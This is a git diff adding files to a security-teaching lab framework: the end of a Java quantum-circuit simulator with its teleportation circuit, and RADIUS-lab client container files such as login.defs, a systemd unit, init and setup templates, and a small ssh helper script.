m.assign(after,before,1.0,0.0); + } + matrices.add(m); + cs1 = -1; + } else if (s.compareTo("UCS1") == 0) { + ucs1 = k; + } else if (s.compareTo("UCS2") == 0) { + int d1 = k - ucs1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int t = ((i >> (d1-1)) & 1); + int c = i & 1; + after = before; + if (c == 1 && t == 1) + m.assign(after,before,0.0,1.0); + else + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + ucs1 = -1; + } else if (s.compareTo("CT1") == 0) { + ct1 = k; + } else if (s.compareTo("CT2") == 0) { + int d1 = k - ct1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int c = ((i >> (d1-1)) & 1); + int t = i & 1; + after = before; + if (c == 1 && t == 1) + m.assign(after,before,0.707107,0.707107); + else + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + ct1 = -1; + } else if (s.compareTo("UCT1") == 0) { + uct1 = k; + } else if (s.compareTo("UCT2") == 0) { + int d1 = k - uct1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int t = ((i >> (d1-1)) & 1); + int c = i & 1; + after = before; + if (c == 1 && t == 1) + m.assign(after,before,0.707107,0.707107); + else + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + uct1 = -1; + } else if (s.compareTo("UCR41") == 0) { + ucr41 = k; + } else if (s.compareTo("UCR42") == 0) { + int d1 = k - ucr41 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int t = ((i >> (d1-1)) & 1); + int c = i & 1; + after = before; + if (c == 1 && t == 1) + m.assign(after,before,0.92387953251,0.38268343237); + else + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + ucr41 = -1; + } else if (s.compareTo("UCR4P1") == 0) { + ucr4p1 = k; + } else if (s.compareTo("UCR4P2") == 0) { + int d1 = k - ucr4p1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int t = ((i >> (d1-1)) & 1); + int c = i & 1; + after = before; + if (c == 1 && t == 1) + m.assign(after,before,0.92387953251,-0.38268343237); + else + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + ucr4p1 = -1; + } else if (s.compareTo("CSP1") == 0) { + cs1 = k; + } else if (s.compareTo("CSP2") == 0) { + int d1 = k - cs1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int c = ((i >> (d1-1)) & 1); + int t = i & 1; + after = before; + if (c == 1 && t == 1) + m.assign(after,before,0.0,-1.0); + else + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + cs1 = -1; + } else if (s.compareTo("UCSP1") == 0) { + ucs1 = k; + } else if (s.compareTo("UCSP2") == 0) { + int d1 = k - ucs1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int t = ((i >> (d1-1)) & 1); + int c = i & 1; + after = before; + if (c == 1 && t == 1) + m.assign(after,before,0.0,-1.0); + else + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + ucs1 = -1; + } else if (s.compareTo("CTP1") == 0) { + ct1 = k; + } else if (s.compareTo("CTP2") == 0) { + int d1 = k - ct1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int c = ((i >> (d1-1)) & 1); + int t = i & 1; + after = before; + if (c == 1 && t == 1) + m.assign(after,before,0.707107,-0.707107); + else + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + ct1 = -1; + } else if (s.compareTo("UCTP1") == 0) { + uct1 = k; + } else if (s.compareTo("UCTP2") == 0) { + int d1 = k - uct1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int t = ((i >> (d1-1)) & 1); + int c = i & 1; + after = before; + if (c == 1 && t == 1) + m.assign(after,before,0.707107,-0.707107); + else + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + uct1 = -1; + } else if (s.compareTo("T1") == 0) { + t1 = k; + } else if (s.compareTo("T2") == 0) { + t2 = k; + } else if (s.compareTo("T3") == 0) { + int d1 = k - t1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int t = i & 1; + int c1 = ((i >> (d1-1)) & 1); + int c2 = ((i >> (k - t2)) & 1); + if (c1 == 0 || c2 == 0) { + after = before; + } else if (c1 == 1 && c2 == 1) { + after = before ^ 1; + } + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + t1 = -1; + t2 = -1; + } else if (s.compareTo("UT1") == 0) { + ut1 = k; + } else if (s.compareTo("UT2") == 0) { + ut2 = k; + } else if (s.compareTo("UT3") == 0) { + int d1 = k - ut1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int c2 = i & 1; + int t = ((i >> (d1-1)) & 1); + int c1 = ((i >> (k - ut2)) & 1); + if (c1 == 0 || c2 == 0) { + after = before; + } else if (c1 == 1 && c2 == 1) { + after = before ^ (1<<(d1-1)); + } + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + ut1 = -1; + ut2 = -1; + } else if (s.compareTo("Control") == 0) { + if (start != -1) { + System.err.println("Yikes this gate has two control bits."); + System.err.println("This feature is currently not supported."); + System.err.println("Have a nice day."); + System.exit(1); + } + start = k; + } else if (s.compareTo("Target") == 0) { + if (start == -1) { + System.err.println("Malformed input file."); + System.err.println("Have a nice day."); + System.exit(1); + } + // This is just a plain vanilla CNOT gate. + int d1 = k - start + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int c = ((i >> (d1-1)) & 1); + int t = i & 1; + if (c == 0) { + after = before; + } else if (c == 1) { + after = before ^ 1; + } + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + start = -1; + } else if (s.compareTo("U") == 0) { + matrices.add(m_U); + } else if (s.compareTo("V") == 0) { + matrices.add(m_V); + } else if (s.compareTo("I") == 0 && start == -1 && ut1 == -1 && s1 == -1 && t1 == -1 && cs1 == -1 && ucs1 == -1 && ct1 == -1 && uct1 == -1 && csp1 == -1 && ucsp1 == -1 && ctp1 == -1 && uctp1 == -1 && ucr41 == -1 && ucr4p1 == -1) { + Matrix m = new Matrix(2,2); + m.assign(0,0,1.0,0.0); + m.assign(0,1,0.0,0.0); + m.assign(1,0,0.0,0.0); + m.assign(1,1,1.0,0.0); + matrices.add(m); + } else if (s.compareTo("X") == 0) { + Matrix m = new Matrix(2,2); + m.assign(0,0,0.0,0.0); + m.assign(0,1,1.0,0.0); + m.assign(1,0,1.0,0.0); + m.assign(1,1,0.0,0.0); + matrices.add(m); + } else if (s.compareTo("Y") == 0) { + Matrix m = new Matrix(2,2); + m.assign(0,0,0.0,0.0); + m.assign(0,1,0.0,-1.0); + m.assign(1,0,0.0,1.0); + m.assign(1,1,0.0,0.0); + matrices.add(m); + } else if (s.compareTo("Z") == 0) { + Matrix m = new Matrix(2,2); + m.assign(0,0,1.0,0.0); + m.assign(0,1,0.0,0.0); + m.assign(1,0,0.0,0.0); + m.assign(1,1,-1.0,0.0); + matrices.add(m); + } else if (s.compareTo("H") == 0) { + Matrix m = new Matrix(2,2); + m.assign(0,0,0.707106781186548,0.0); + m.assign(0,1,0.707106781186548,0.0); + m.assign(1,0,0.707106781186548,0.0); + m.assign(1,1,-0.707106781186548,0.0); + matrices.add(m); + } else if (s.compareTo("M") == 0) { + measure(k); + Matrix m = new Matrix(2,2); + m.assign(0,0,1.0,0.0); + m.assign(0,1,0.0,0.0); + m.assign(1,0,0.0,0.0); + m.assign(1,1,1.0,0.0); + matrices.add(m); + } else if (s.compareTo("CNOT") == 0) { + Matrix m = new Matrix(4,4); + m.assign(0,0,1.0,0.0); + m.assign(0,1,0.0,0.0); + m.assign(0,2,0.0,0.0); + m.assign(0,3,0.0,0.0); + m.assign(1,0,0.0,0.0); + m.assign(1,1,1.0,0.0); + m.assign(1,2,0.0,0.0); + m.assign(1,3,0.0,0.0); + m.assign(2,0,0.0,0.0); + m.assign(2,1,0.0,0.0); + m.assign(2,2,0.0,0.0); + m.assign(2,3,1.0,0.0); + m.assign(3,0,0.0,0.0); + m.assign(3,1,0.0,0.0); + m.assign(3,2,1.0,0.0); + m.assign(3,3,0.0,0.0); + matrices.add(m); + } else if (start == -1 && ut1 == -1 && s1 == -1 && t1 == -1 && cs1 == -1 && ucs1 == -1 && ct1 == -1 && uct1 == -1 && csp1 == -1 && ucsp1 == -1 && ctp1 == -1 && uctp1 == -1 && ucr41 == -1 && ucr4p1 == -1) { + System.err.println(s+": No such quantum gate."); + System.err.println("Have a nice day."); + System.exit(1); + } + } + while (matrices.size() > 1) { + Matrix m1 = (Matrix)matrices.elementAt(0); + Matrix m2 = (Matrix)matrices.elementAt(1); + //System.out.println("####"); + //System.out.println(m1.print()); + //System.out.println(m2.print()); + //System.out.println("!!!!!"); + Matrix bigmatrix = Matrix.combine(m1,m2); + matrices.setElementAt(bigmatrix,0); + matrices.removeElementAt(1); + } + Matrix transform = (Matrix)matrices.elementAt(0); + nextPhi = Matrix.multiply(transform,m_currentPhi); + m_currentPhi = nextPhi; + m_ta.setText(nextPhi.printNonzero()); + //m_ta.append("=================\n"); + //m_ta.append(transform.print(false)); + + if (bTrace) { + try { + BufferedWriter bw = new BufferedWriter(new FileWriter(m_fn+"_"+m_fileNumber+".out")); + bw.write(nextPhi.print()); + bw.write("=================\n"); + bw.write(transform.print(false)); + bw.close(); + m_fileNumber++; + } catch (Exception e) { + handleEx(e); + } + } + } + + public void actionPerformed(ActionEvent e) + { + if (e.getSource() == m_buttonStep) { + //System.out.println("Next"); + if (m_step >= m_transforms.size()) { + System.err.println("There are no more steps."); + return; + } + m_step++; + m_p.setStep(m_step); + calculateNextPhi(false); + updatePanel(); + repaint(); + } else if (e.getSource() == m_buttonAuto) { + autopilot(); + } + } + + public void autopilot() + { + if (m_fileNumber == 0) { + try { + BufferedWriter bw = new BufferedWriter(new FileWriter(m_fn+"_"+m_fileNumber+".out")); + bw.write(m_currentPhi.print()); + bw.close(); + m_fileNumber++; + } catch (Exception e) { + handleEx(e); + } + } + while (m_step < m_transforms.size()) { + m_step++; + m_p.setStep(m_step); + calculateNextPhi(true); + updatePanel(); + repaint(); + } + } + + public void mouseClicked(MouseEvent e) + { + if (e.getSource() instanceof qpanel) { + setPosition(e.getX(), e.getY()); + } + } + + public void mouseEntered(MouseEvent e) + { + } + + public void mouseExited(MouseEvent e) + { + } + + public void mousePressed(MouseEvent e) + { + } + + public void mouseReleased(MouseEvent e) + { + } +} + +public class simulator { + public static void main(String args[]) + { + if (args.length != 1) { + System.err.println("Usage: java simulator circuit_file"); + return; + } + qframe f = new qframe(args[0]); + f.setVisible(true); + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/teleportation b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/teleportation new file mode 100644 index 000000000..c89a9eb36 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/teleportation @@ -0,0 +1,13 @@ +Define N 3 +Define Phi0 +1 0 0 +Define Transform1 +I H I +Define Transform2 +I Control Target +Define Transform3 +Control Target I +Define Transform4 +H I I +Define Transform5 +M M I \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/sbin/faux_init new file mode 100755 index 000000000..1d6b3cedc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start +### Uncomment the while loop below +### if it is necessary to make sure parameterization has happened + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +###while [ ! -d "$PERMLOCKDIR" ] +###do +### sleep 2 +###done + +# PUT any daemon start (that need parameterization after while loop) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/control_admin b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/control_admin new file mode 100755 index 000000000..2e5767b95 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client1/control_admin @@ -0,0 +1,9 @@ +#!/bin/bash +# +# use ssh to connect to the controller admin program +# +if [ "$#" -ne 1 ]; then + echo "./control_admin " + exit +fi +ssh -o StrictHostKeyChecking=no cadmin@$1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/radius/client2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for 